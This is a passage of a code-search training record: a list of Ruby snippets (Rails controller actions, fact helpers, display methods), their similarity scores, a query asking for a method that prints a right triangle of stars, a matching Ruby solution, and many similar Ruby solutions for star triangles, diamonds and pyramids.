"def show\n @fact = Fact.find(params[:id])\n\t\n\t\tif params[:vote]\n\t\t\t@vote = @fact.rankings.by(current_user).first\n\t\t\t@vote = Ranking.new(:rankable_id => @fact.id, :rankable_type => 'Fact', :user => current_user) if @vote.nil?\n\t\t\t@vote.score = params[:vote]\n\t\t\t@vote.save\n\t\tend\n\n\t\t@facts = @fact.facts.paginate(:page => params[:page], :per_page => 10, :order => \"created_at DESC\")\n\t\n\t\t@namespace = @fact\n\t\t# @suggestions = Nuniverse.search( @fact.body, :match_mode => :any)\n\n respond_to do |format|\n format.html {\n\t\t\t\t@source = @fact\n\t\t\t}# show.html.erb\n\t\t\tformat.js {}\n format.xml { render :xml => @fact }\n end\n end",
"def show\n @factoid = Factoid.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factoid }\n end\n end",
"def show_information_card\n puts \"------------------------------\"\n puts \"Name: #{@name}\"\n puts \"Address: #{@address}\"\n puts \"Email: #{@email}\"\n puts \"Random Fact: #{@random_fact}\"\n puts \"-----------------------------\"\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def show\n @target_fact = TargetFact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @target_fact }\n end\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def set_fact\n @fact = Fact.find(params[:id])\n end",
"def show\n @fact = Fact.find(params[:id])\n @restriction = Restriction.find(@fact.restriction_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fact }\n end\n end",
"def show\n @estAdmin = admin?\n \n # Check si c'est sa facture\n if !@estAdmin && @facture.user_id != session[:user]['id']\n redirect_to factures_path, danger: \"Ce n'est pas une de vos factures\"\n end\n\n\n puts '--------------'\n puts @facture.id\n puts '--------------'\n \n if @facture.id\n @ligne_factures = LigneFacture.where(facture_id: @facture.id)\n end\n\n respond_to do |format|\n format.html\n format.pdf do\n render pdf: \"Facture No. #{@facture.id}\",\n page_size: 'A4',\n template: 'factures/pdf.html.erb',\n layout: 'pdf.html',\n lowquality: true,\n zoom: 1,\n dpi: 75\n end\n end\n\n end",
"def index\n @facts = Fact.all\n end",
"def index\n @facts = Fact.all\n end",
"def show\n @factura = Factura.find(params[:id])\n @contrato = @factura.contrato \n @factura_details = @factura.factura_details \n \n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factura }\n end\n \n \n \n end",
"def show\n @star_fact = Star::Fact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @star_fact }\n end\n end",
"def show\n get_livraison_and_facturation\n end",
"def display_trilogy_fact(user_fact_choice) # puts user's desired Trilogy fact to CL\n if user_fact_choice == 1\n puts Character.most_talkative_character_in_trilogy\n puts <<-gandalf\n ,---.\n / |\n / |\n Gandalf / |\n / |\n ___,' |\n < -' :\n `-.__..--'``-,_\\\\_\n |o/ ` :,.)_`>\n :/ ` ||/)\n (_.).__,-` |\\\n /( `.`` `| :\n \\\\'`-.) ` ; ;\n | ` /-<\n | ` / `.\n ,-_-..____ /| ` :__..-'\\\n /,'-.__\\\\ ``-./ :` ; \\\n `\\\\`\\\\ `\\\\ \\\\ : ( ` / , `. \\\n \\\\` \\\\ \\\\ | | ` : : .\\\\ \\\n \\\\ `\\\\_ )) : ; | | ): :\n (`-.-'\\\\ || |\\\\\\\\ ` ; ; | |\n \\\\-_ `;;._ ( ` / /_ | |\n `-.-.// ,'`-._\\\\__/_,' ; |\n \\\\:: : / ` , / |\n || | ( ,' / / |\n || ,' / SSt|\n gandalf\n else\n puts Character.least_talkative_character_in_trilogy\n end\n end",
"def show\n @facts_page = current_user.facts_pages.find(params[:id])\n end",
"def show\n @participant = Participant.find(params[:participant_id])\n @decision = Decision.find(@participant.decision_id)\n @user = User.find(@participant.user_id)\n @comment = Comment.new\n @fact_asset = FactAsset.new\n end",
"def set_facture\n @facture = Facture.find(params[:id])\n end",
"def set_facture\n @facture = Facture.find(params[:id])\n end",
"def display\r\n end",
"def create\n @fact = Fact.new(fact_params)\n\n respond_to do |format|\n if @fact.save\n format.html { redirect_to @fact, notice: 'Fact was successfully created.' }\n format.json { render :show, status: :created, location: @fact }\n else\n format.html { render :new }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fact = Fact.new(fact_params)\n\n respond_to do |format|\n if @fact.save\n format.html { redirect_to @fact, notice: 'Fact was successfully created.' }\n format.json { render :show, status: :created, location: @fact }\n else\n format.html { render :new }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\t\t end",
"def create\n @fact = Fact.new(fact_params)\n\n respond_to do |format|\n if @fact.save\n format.html { redirect_to @fact, notice: 'Fact was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fact }\n else\n format.html { render action: 'new' }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def fact(name)\n name = canonicalize(name)\n\n # Try to load the fact if necessary\n load(name) unless @facts[name]\n\n # Try HARDER\n internal_loader.load_all unless @facts[name]\n\n log.warnonce(\"No facts loaded from #{internal_loader.search_path.join(File::PATH_SEPARATOR)}\") if @facts.empty?\n\n @facts[name]\n end",
"def index\n @factures = Facture.all\n end",
"def index\n @factures = Facture.all\n end",
"def is_fact?\n false\n end",
"def show\n @factor = Factor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factor }\n end\n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show_person( title, person )\n\n #puts \"#{title} #{person}\"\n puts \"#{title}\"\n show_field( 'ix', person.index, ' ' )\n show_field( 'cid', person.computing_id, ' ' )\n show_field( 'first_name', person.first_name, ' ' )\n show_field( 'last_name', person.last_name, ' ' )\n show_field( 'department', person.department, ' ' )\n show_field( 'institution', person.institution, ' ' )\n end",
"def show\n @concepts = Concept.where(course_id: @course.id).order(fiat: :asc)\n end",
"def show\n @fcomment = Fcomment.new\n @fcomment = @free.fcomments\n end",
"def show\n @title = t('view.flows.show_title')\n @flow = Flow.find(params[:id])\n end",
"def display_resource(practice_content)\n \"PracticeContent ID:#{practice_content.id}\"\n end",
"def fact_params\n params.require(:fact).permit(:title, :body, :fact_id)\n end",
"def show\n \n \n end",
"def display\n\t\ttitle\n\tend",
"def show\n @names = @fascicle.names\n @groups = @fascicle.groups\n @magazines = @fascicle.magazines\n @unions = @fascicle.unions\n end",
"def show_facecard\r\n\t\tputs \"The #{name} is showing:\" \r\n\t\thand.cards[1].display_card\r\n\tend",
"def show\n @faction = Faction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faction }\n end\n end",
"def show() end",
"def show() end",
"def show() end",
"def summary()\n\t\treturn \"#{@name} is a wonderful planet! It is a beautiful #{color} color! #{@name} has a mass of #{mass_kg} kg and is #{distance_from_sun_km} km from the sun. You might be surprised to find that: #{fun_fact}.\"\n\tend",
"def display\n @attributes[:display]\n end",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def fact_params\n params.require(:fact).permit(:title, :decision_id, :description, :type)\n end",
"def fact(name)\n name = canonicalize(name)\n\n # Try to load the fact if necessary\n load(name) unless @facts[name]\n\n # Try HARDER\n load_all unless @facts[name]\n\n if @facts.empty?\n logger.warnonce(\"No facts loaded from #{@internal_loader.search_path.join(File::PATH_SEPARATOR)}\")\n end\n\n @facts[name]\n end",
"def create\n\n @fact = fact_type.new(fact_params)\n\n respond_to do |format|\n if @fact.save\n format.html { redirect_to @fact, notice: 'Fact was successfully created.' }\n format.json { render json: @fact, status: :created, location: @fact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prt\n puts \"Federalist #@fedno\"\n end",
"def display\n # Don't no why i thought i would need that. or if i need this.\n end",
"def show \r\n end",
"def new\n @fact = fact_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fact }\n end\n end",
"def show\n @fives = Fiveparameter.find_by(anio: @quinto.anio)\n end",
"def display\n puts \"Title: #{@title}\"\n puts \"Author: #{@author}\"\n puts \"Price: #{@price}\"\n end",
"def show\r\n\r\n end",
"def show\r\n\r\n end",
"def show\r\n\r\n end",
"def name\n\t\tfac_displayname\n\tend",
"def display_for(object, field_name)\n fdef = field_called(field_name)\n fdef.display_proc.call(fdef.reader_proc.call(object))\n end",
"def find_cat_fact\n @fact = @cat.facts.find_by!(id: params[:id]) if @cat\n end",
"def show\n @race = Race.find(@character.race_id)\n feat_assignments = @character.feat_assignments\n @feats = []\n feat_assignments.each do |assignment|\n @feats << Feat.find(assignment.feat_id)\n end\n @attributes = @character.attribute_list\n @class = PathfinderClass.find(@character.class_id)\n @base_attack = @class.baseAttackBonuses[1][0]\n @saves = @class.baseSaves[1]\n @description = @character.description\n end",
"def display\n tp self\n end",
"def key\n @fact_name\n end",
"def show\n @covariate = Covariate.find(params[:id])\n\n if @covariate.trait.nil?\n flash[:error] = 'This covariate is not associated with a trait! Consider removing it.'\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @covariate }\n format.csv { render :csv => @covariate }\n format.json { render :json => @covariate }\n end\n end",
"def set_factoid\n @factoid = Factoid.find(params[:id])\n end",
"def get_facts\r\n @facts\r\n end",
"def show\n @defect = Defect.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @defect }\n end\n end",
"def summary\n return \"Welcome to planet #{name} - #{distance_from_sun_km}km from the sun. We spin a #{color} mass of #{mass_kg}. Did you know, #{name} is [the] #{fun_fact}!\"\n end",
"def show\n @facturation_milk = current_user.FacturationMilk.find(params[:id])\n end",
"def show\n # @asserted_distribution = AssertedDistribution.find(params[:id])\n end",
"def show\n \t\n end",
"def show\n \t\n end",
"def show\n @has_specs = NodeHasFunctionalDesignDocument.where(:fdd_id => @functional_design_document.id)\n end",
"def show \n\t\trender_direct Testcase.find(params[:id])\n end",
"def show\n @concept = Concept.find(params[:id])\n @owner = @concept.owner\n @user = current_user\n @comment = Comment.new\n @comments = @concept.comments\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concept }\n end\n end",
"def print_factoids_options\n puts \"Available factoids are: \".light_magenta\n puts \" Country/countries with the MOST cases\".light_red\n puts \" Country/countries with the LEAST cases\".light_red\n puts \" Country/countries with the MOST NEW cases\".light_red\n puts \" Country/countries with the MOST RECOVERED cases\".light_red\n puts \"Which factoid would you like to see?\".light_magenta\n puts \"Please enter MOST, LEAST, MOST NEW, or MOST RECOVERED\".green\n end",
"def show\n\t\t\n\tend",
"def show\n\t\t\n\tend",
"def show\n\t\t\n\tend",
"def display\n return @display + \" Health:#{@health} Attack:#{@attack} Defense:#{@defense}\"\n end",
"def show ; end",
"def show\n\t\t@cheque = Cheque.find(params[:id])\n\t\tdrawAndSaveCheque(@cheque.name, @cheque.date, @cheque.nominal_value)\n\tend"
] |
[
"0.76070005",
"0.6741901",
"0.65177864",
"0.6496082",
"0.64940906",
"0.64940906",
"0.64940906",
"0.64940906",
"0.64940906",
"0.64202034",
"0.639161",
"0.639161",
"0.6260576",
"0.6071591",
"0.6029329",
"0.6029329",
"0.597749",
"0.5959982",
"0.5949472",
"0.5925339",
"0.5921397",
"0.59197396",
"0.5876099",
"0.5876099",
"0.5863519",
"0.58525634",
"0.58525634",
"0.58430845",
"0.58004504",
"0.5780893",
"0.5764773",
"0.5764773",
"0.57406455",
"0.5737523",
"0.5729322",
"0.5729322",
"0.5729322",
"0.5729322",
"0.5729322",
"0.5729322",
"0.5729322",
"0.5729322",
"0.5729322",
"0.57163215",
"0.5710304",
"0.57011944",
"0.57002646",
"0.5689706",
"0.567078",
"0.5669188",
"0.566884",
"0.5663961",
"0.56622887",
"0.56606",
"0.56596017",
"0.56596017",
"0.56596017",
"0.56532186",
"0.56197715",
"0.5618296",
"0.5618296",
"0.5618296",
"0.5618296",
"0.5615534",
"0.5614501",
"0.561252",
"0.5612018",
"0.5609767",
"0.5609332",
"0.56061226",
"0.56043786",
"0.5597042",
"0.55885446",
"0.55885446",
"0.55885446",
"0.55811036",
"0.55786115",
"0.55720204",
"0.5567458",
"0.5565264",
"0.55592406",
"0.55552906",
"0.5554571",
"0.55533457",
"0.5551771",
"0.55511093",
"0.5549996",
"0.5544447",
"0.55435765",
"0.55435765",
"0.5533501",
"0.55281806",
"0.55257744",
"0.5522628",
"0.5522521",
"0.5522521",
"0.5522521",
"0.5517817",
"0.55167973",
"0.5516316"
] |
0.64030296
|
10
|
Write a method that takes a positive integer, n, as an argument, and displays a right triangle whose sides each have n stars. The hypotenuse of the triangle (the diagonal side in the images below) should have one end at the lowerleft of the triangle, and the other end at the upperright.
|
def triangle(num)
spaces = num - 1
stars = 1
loop do
puts " "*spaces + "*"*stars
break if stars == num
spaces -= 1
stars += 1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tl_triangle(n)\n stars = n\n n.times do\n puts '*' * stars\n stars -= 1\n end\nend",
"def upside_down_triangle(n)\n triangle = []\n stars = n\n spaces = 0\n\n n.times do\n triangle << (' ' * spaces) + ('*' * stars)\n stars -= 1\n spaces += 1\n end\n\n triangle.each { |line| puts line }\nend",
"def triangle(n)\n stars = 1\n spaces = n-1\n n.times do |_|\n puts ( \" \" * spaces) + (\"*\" * stars)\n stars += 1\n spaces -= 1\n end\nend",
"def triangle(n)\n space = \" \"\n star = \"*\"\n star_count = 1\n\n while n > 0 do\n p (space * (n-1)) + (star * star_count)\n n -= 1\n star_count += 1\n end\nend",
"def triangle(n)\n 1.upto(n){ |i| p \"#{' ' * (n-i)}#{ '*' * i }\" }\nend",
"def triangle(n)\n\tstar = \"*\"\n\tspace = \" \"\n\tcounter = 0\n\tloop do\n\t\tcounter += 1\n\t\tputs (space * (n - counter)) + (star * (n - (n - counter)))\n\t\tbreak if counter == n\n\tend\nend",
"def triangles(n)\n space_count = n\n star_count = 1\n\n while star_count <= n\n puts \"#{' ' * space_count}#{'*' * star_count}\"\n space_count -= 1\n star_count += 1\n end\nend",
"def triangle(n)\n (1..n).each { |row| puts ' ' * (n - row) + '*' * row }\nend",
"def triangle(n)\n n.times{ |i| puts \"#{' ' * (n-i+1)}#{'*' * (i+1)}\" }\nend",
"def triangle(n)\n count = 1\n loop do\n p (' ' * (n - count)) + ('*' * count)\n count += 1\n break if count > n\n end\nend",
"def triangle(num)\n count = 1\n while count <= num do\n stars = \"*\" * count\n puts \"#{(stars.rjust(num))}\"\n count += 1\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\nend",
"def triangle(n)\n arr = []\n space = (n - 1)\n star = 1\n \n until n == 0 do\n (space).times do\n arr.push(\" \")\n end\n (star).times do \n arr.push(\"*\")\n end\n puts arr.join\n arr.clear\n space -= 1\n star += 1\n n -= 1\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\n\nend",
"def triangle(num)\n star_count = 0\n while star_count < num\n star_count += 1\n stars = \"*\" * star_count\n puts stars.rjust(num)\n end\nend",
"def triangle(n)\n n.downto(1) do |i|\n puts \"#{'*' * i}#{' ' * (n-i)}\"\n end\nend",
"def triangle(n)\n triangle = (1..n).inject('') do |memo, current_num|\n stars = '*' * current_num\n line = stars.rjust(n) + \"\\n\"\n memo + line\n end\n puts \"\\n\" + triangle + \"\\n\"\nend",
"def triangle(n)\n line = 0\n loop do\n puts ' ' * (n - line) + ('*' * line)\n break if line == n\n line += 1\n end\nend",
"def triangle(num)\n stars = []\n spaces = ''\n number_of_stars = (3..num).to_a.reverse\n current_num = num\n\n loop do\n spaces += ' '\n stars << spaces + (\"*\" * current_num)\n break if current_num == 1\n current_num -= 2\n end\n\n stars.reverse\nend",
"def star(n)\n x = (n - 3)/2\n loop do\n puts \"*#{' ' * x}*#{' ' * x}*\".center(n)\n x -= 1\n break if x < 0\n end\n puts \"#{'*' * n}\"\n y = 0\n loop do\n puts \"*#{' ' * y}*#{' ' * y}*\".center(n)\n y += 1\n break if y > (n - 3) / 2\n end\nend",
"def triangle(integer)\n stars = 1\n integer.times do \n puts \" \" * (integer - stars) + (\"*\" * stars)\n stars += 1\n end\nend",
"def triangle(n)\n counter = 1\n\n loop do\n puts \"#{' ' * (n-counter)}#{'*' * counter}\"\n counter += 1\n break if counter > n\n end\nend",
"def print_triangle(rows)\n n = 1\n while n <= rows\n n += 1\n x = 1\n while x < n\t\n \tprint \"*\"\n \tx += 1\n end\n puts ' '\n end \nend",
"def star(num)\n star_number = 3\n star = '*'\n space = ' '\n counter = (num - star_number) / 2\n iterations = num / 2\n\n # upper triangle\n iterations.times do |i|\n line = \"#{space * i}#{star}#{space * counter}#{star}#{space * counter}#{star}\"\n puts line\n counter -= 1\n end\n\n # mid\n puts star * num\n\n # lower triangle\n counter = (num - star_number) / 2\n iterations.times do |i|\n line = \"#{space * counter}#{star}#{space * i}#{star}#{space * i}#{star}\"\n puts line\n counter -= 1\n end\nend",
"def triangle(num)\n num.times { |a| p (' ' * (num - a)) + ('*' * (a + 1)) }\nend",
"def star(n)\n outer = 0\n inner = (n-3) / 2\n\n loop do # create top\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if inner == 0\n outer += 1\n inner -= 1\n end\n\n puts \"*\" * n\n\n loop do # create bottom\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if outer == 0\n outer -= 1\n inner += 1\n end\n puts \"\"\nend",
"def triangle(num)\n 1.upto(num) { |n| puts \"#{\"*\" * n}\".rjust(num) }\nend",
"def star(n)\n num_spaces = (n - 2) / 2\n arr = []\n until num_spaces < 0\n arr.push \"*#{' ' * num_spaces}*#{' ' * num_spaces}*\"\n num_spaces -= 1\n end \n arr += arr.reverse\n arr.insert(n / 2, \"*\" * n)\n arr.each { |x| puts x.center(n) }\nend",
"def triangle(length_of_sides)\n spaces = length_of_sides\n accum_num = length_of_sides\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num -= 1\n end\nend",
"def triangle(n)\n (n *(n + 1)) / 2\nend",
"def triangle(int)\n for i in (0..int)\n puts (\"*\"*i).rjust(int) \n end\nend",
"def triangle(int)\n star_chars = '*'\n int.times do\n puts star_chars.rjust(int, ' ')\n star_chars << '*'\n end\nend",
"def triangle(length_of_sides)\n spaces = length_of_sides\n accum_num = 1\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num += 1\n end\nend",
"def print_triangle(rows)\n 1.upto(rows) do |i|\n puts \"*\" * i\n end\nend",
"def diamond(n)\n (n / 2).downto(1) { |i| puts (\"*\" * (n - 2 * i)).center(n) }\n puts '*' * n\n 1.upto(n / 2) { |i| puts (\"*\" * (n - 2 * i)).center(n) }\nend",
"def triangle(num)\n space = ' '\n star = '*'\n (num + 1).times do |time|\n puts space * (num - time) + (star * time)\n end\nend",
"def triangle(number)\n number_of_spaces = number - 1\n number.times do\n puts (' ' * number_of_spaces) + ('*' * (number - number_of_spaces))\n number_of_spaces -= 1\n end\nend",
"def triangle(rows)\n 1.upto(rows) { |num| puts \"#{\"*\" * num}\".rjust(rows)}\nend",
"def triangle(reps)\n (0...reps).each do |x|\n puts \"*\" * (2 ** x)\n end\nend",
"def pascals_triangle(n)\n triangle = []\n (1..n).each do |line|\n level = []\n num = 1\n (1..line).each do |idx|\n level << num\n num = (num * (line - idx) / idx)\n end\n triangle << level\n end\n triangle\nend",
"def display_upper_semi_diamond(n)\n left_outline = n / 2\n right_outline = left_outline\n\n (n / 2).times do\n row = ' ' * n\n row[left_outline] = '*'\n row[right_outline] = '*'\n\n puts row\n left_outline -= 1\n right_outline += 1\n end\nend",
"def nth_triangle_number(n)\n n * (n + 1) / 2\nend",
"def diamond(n)\n rows = (1..n).select{ |num| num.odd? }\n rows.each { |row| puts \"#{'*' * row}\".center(n) }\n rows.reverse[1..-1].each { |row| puts \"#{'*' * row}\".center(n) }\nend",
"def letra_z(n)\n result = \"\"\n t = n-1\n n.times do |i| \n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else \n n.times do |b| \n if t == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n t -= 1 \n result += \"\\n\" \n end \n result\nend",
"def triangle(integer)\n counter = 0\n until counter > integer\n puts ('*' * counter).rjust(integer)\n counter += 1\n end\nend",
"def triangle(number)\n 1.upto(number) do |num| \n puts (\" \" * num) + (\"*\" * number)\n number -= 1\n end\nend",
"def letra_i(n)\n result = \"\"\n n.times do |i|\n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else\n n.times do |b|\n if (n-1)/2 == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n result += \"\\n\" \n end \n result\nend",
"def star(n)\r\n padding_number = 0\r\n space_number = (n - 3) / 2\r\n \r\n 1.upto(n) do |row_number|\r\n central_row_number = (n / 2) + 1\r\n left_padding = ' ' * padding_number\r\n spaces = ' ' * space_number\r\n row = left_padding + (('*' + spaces) * 2) + '*'\r\n \r\n if row_number < central_row_number\r\n puts row\r\n next if row_number == central_row_number - 1\r\n padding_number += 1 \r\n space_number -= 1\r\n elsif row_number == central_row_number\r\n puts '*' * n\r\n else\r\n puts row\r\n padding_number -= 1\r\n space_number += 1\r\n end\r\n end\r\nend",
"def diamond(n)\n mid = n/2\n (mid + 1).times do |i|\n puts ' '*(mid - i) + '*'*((i * 2) + 1)\n end\n (mid).times do |i|\n puts ' '*(i + 1) + '*'*(n - 2*(i+1))\n end\nend",
"def pascals_triangle(n)\n triangle = [[1]]\n until triangle.length == n\n triangle << row(triangle[-1])\n end\n triangle\nend",
"def print_horizontal_pyramid(height)\n n = 1\n h = height\n (1..height).each do |i|\n space = \" \"\n star = \"*\"\n print space * h + star * n\n n = n+2\n h = h-1\n print \"\\n\"\n end\nend",
"def stairs(n)\n\ttext_to_print = \"\"\n\tn.times do |line|\n\t\ttext_to_print += (\" \" * (n-1)) + (\"*\" * (n-(n-1))) \n\t\ttext_to_print << \"\\n\"\n\t\tn -= 1\n\tend\n\ttext_to_print.split(\"\\n\").each{|line| puts line}\nend",
"def diamond(n)\n s = \"\"\n odd_array = (1..n).select{|num| num.odd?}\n odd_array = odd_array + odd_array.reverse[1..-1]#1,3,5,7,9,7,5,3,1\n (0...n).each do |i| #0,1,2,3,4,5,6,7,8\n empty_spaces = n/2\n odd_array[i].times do |j|#1,3,5,7,9,7,5,3,1\n s = (\" \" * (empty_spaces-i).abs) + (\"*\" * (j+1)) + (\" \" * (empty_spaces-i).abs)\n end\n p s\n s=\"\"\n end\nend",
"def triangle(integer)\n counter = integer\n until counter < 0\n puts ('*' * counter).ljust(integer)\n counter -= 1\n end\nend",
"def p_triangle(n)\n (0..n).each{|i|\n list = [1]\n element = 1\n k = 1\n (0..i-1).step(1){|index|\n element = element * (i-k+1)/k\n list.push element \n k += 1\n }\n yield(list)\n }\nend",
"def triangleNumber(n)\n n * (n + 1) / 2\nend",
"def pascals_triangle(n)\n triangle = [[1]]\n\n (1...n).each do |lvl_idx| # levels of pyramid by array idx\n current_lvl = []\n prev_lvl = triangle[lvl_idx - 1] \n\n (0..lvl_idx).each do |pos| # elements of level\n left = (pos == 0) ? 0 : prev_lvl[pos - 1]\n right = (pos == lvl_idx) ? 0 : prev_lvl[pos]\n current_lvl[pos] = left + right\n end\n triangle << current_lvl\n end\n triangle\nend",
"def circle(n)\r\n lines = []\r\n half_grid = n / 2\r\n top_stars = half_grid.even? ? half_grid - 1 : half_grid\r\n\r\n spaces_between_stars = top_stars\r\n loop do\r\n lines << ('*' +\r\n ' ' * spaces_between_stars +\r\n '*').center(n)\r\n\r\n spaces_between_stars += 2\r\n break if spaces_between_stars == n - 2\r\n end\r\n\r\n top_bottom = ('*' * top_stars).center(n)\r\n\r\n puts top_bottom\r\n puts lines\r\n (top_stars).times do\r\n puts ('*' + ' ' * (n - 2) + '*').center(n)\r\n end\r\n puts lines.reverse\r\n puts top_bottom\r\nend",
"def pyramid(n)\n count = 1\n n.times do\n puts (\" \" * (n - count)) + (\"#\" * count)\n count += 1\n end\nend",
"def navidad(n)\n result = \"\"\n n.times do |ind| \n i = ind + 1 \n (n-i).times do \n result += \" \"\n end\n i.times do\n result += \"* \" \n end\n result += \"\\n\" \n end\n \n 3.times do |i|\n if i != 2\n n.times do |b|\n if (n+1)/2 == b+1\n result += \"* \"\n else\n result += \" \"\n end \n end\n result += \"\\n\"\n else\n n.times do |b| \n if ((n+1)/2)-2 == b || ((n+1)/2)-1 == b || (n+1)/2 == b\n result += \"* \"\n else\n result += \" \"\n end \n end\n end\n end \n result\nend",
"def pascals_triangle(n)\n triangles = [[1]]\n while triangles.length < n\n triangles << next_line(triangles[-1])\n end\n triangles\nend",
"def letra_x(n)\n result = \"\" \n t = n-1\n (n).times do |i| \n n.times do |b| \n if t == b \n result += \"*\"\n elsif i == b\n result += \"*\"\n else\n result += \" \"\n end\n end \n t -= 1 \n result += \"\\n\"\n end\n result\nend",
"def triangular_sequence(n)\n seq = []\n i = 1\n while i <= n\n seq << (i * (i + 1)) / 2\n i += 1\n end\n seq\nend",
"def pascals_triangle(n)\n triangle = []\n triangle << [1]\n while triangle.length < n\n next_level = []\n current_level = Array.new(triangle.last) # create copy of last row\n current_level.push(0)\n current_level.unshift(0)\n\n iterator = 0\n\n while iterator < current_level.length-1\n\n next_level << current_level[iterator..iterator+1].sum\n iterator += 1\n end\n\n triangle << next_level\n end\n triangle\nend",
"def middle_row(n)\n puts '*' * n\nend",
"def print_triangle(rows)\n # above i'm stating that I'm defining a method will have rows number of rows.\n rows.times do |x|\n #above i'm stating that rows will now be represented by the variable x.\n\n\n puts ('*' * x) + '*'\n #above: this is what I don't understand. I used (x * '*') first\n #and it didn't work but when I reversed it, it did. I left the\n #question on our community for clarification.\n\n end\nend",
"def triangles(n)\n\ts = []\n\t1.upto n do |i|\n\t\tn, triangle_n = yield i\n\t\ts << [n, triangle_n]\n\tend\n\ts\nend",
"def generate_next_triangle_number(n)\r\n t=0\r\n for i in 0..n\r\n t = t+i\r\n end\r\n return t\r\nend",
"def generate_shape(n)\n p (\"+\" * n + \"\\n\") * (n - 1) + \"+\" * n\nend",
"def triagonal_number(n)\r\n\t(n*(n+1))/2\r\nend",
"def print_horizontal_pyramid(height)\n\n (1..height).each do |i|\n spaces = height - i\n stars = (2 * i) - 1\n\n spaces.times { print \" \"}\n stars.times { print \"*\"}\n spaces.times { print \" \"}\n print \"\\n\"\nend\nend",
"def border(n)\r\n puts \"-\" * n\r\n end",
"def draw\n puts \"* \" * @side_length\n (@side_length-2).times do # times loop will do something X number of times\n print \"*\"+(\" \"*(@side_length*2-3))+\"*\\n\"\n end\n puts \"* \" * @side_length\n end",
"def spiral(n) # n is the max dimensions. ex n = 5, this is a 5x5 square.\n\ta = [0,0]\n\tx = 1 # X is how many steps to go\n\t#t = 1 # T is how many times X\n\n\t# Round 1 - Positive!\n\tx.times do\n\t\ta[1] += 1\n\t\tputs a # [0,1]\n\tend\n\n\tx.times do\n\t\ta[0] += 1\n\t\tputs a # [1,1]\n\tend\n\t\n\tx += 1\n\t\n\t# Round 2 - Negative!\n\tx.times do\n\t\ta[1] -= 1\n\t\tputs a #[1,0],[1,-1]\n\tend\n\n\tx.times do\n\t\ta[0] -= 1\n\t\tputs a # [0,-1],[-1,-1]\n\tend\n\n\tx += 1\n\n\t# Round 3 .. etc\nend",
"def triangle(size, quadrant=4)\n case quadrant\n when 1\n for i in 0..size do\n puts \"*\" * (size - i) + \" \" * (i)\n end\n when 2\n for i in 0..size do\n puts \" \" * (i) + \"*\" * (size - i)\n end\n when 3\n for i in 0..size do\n puts \"*\" * (i) + \" \" * (size - i) \n end\n when 4\n for i in 0..size do\n puts \" \" * (size - i) + \"*\" * (i) \n end\n end\nend",
"def print_triangle(height)\nend",
"def right_tri(tri)\n\nend",
"def triangular(n)\n n <= 0 ? 0 : (1..n).inject(:+)\n end",
"def diamond(num)\n stars = 1\n \n num.times do |iteration|\n puts ('*' * stars).center(num)\n iteration < num / 2 ? stars += 2 : stars -= 2\n end\nend",
"def pyramid(a)\n b = a\n for num in 1..a\n puts (\" \" * (b - 1)) + (\"*\" * (num * 2 - 1))\n b -= 1\n end\nend",
"def diamond(num)\n puts \"this is a #{num} diamond!\\n\\n\"\n star_count = 1\n half_point = (num.to_f/2).floor\n 0.upto(num-1) {|n|\n if n < half_point \n puts \"#{' ' * (half_point - n)}#{'*' * star_count}\"\n star_count += 2\n elsif n == half_point\n puts \"#{'*' * star_count}\"\n star_count -= 2\n elsif n > half_point\n puts \"#{' ' * (n - half_point)}#{'*' * star_count}\"\n star_count -= 2\n end\n }\n \n \" \"\nend",
"def triangle(num)\n spaces = num - 1\n count = 1\n loop do\n puts \" \" * spaces + \"*\" * count\n spaces -= 1\n count += 1\n break if count == num + 1\n end\nend",
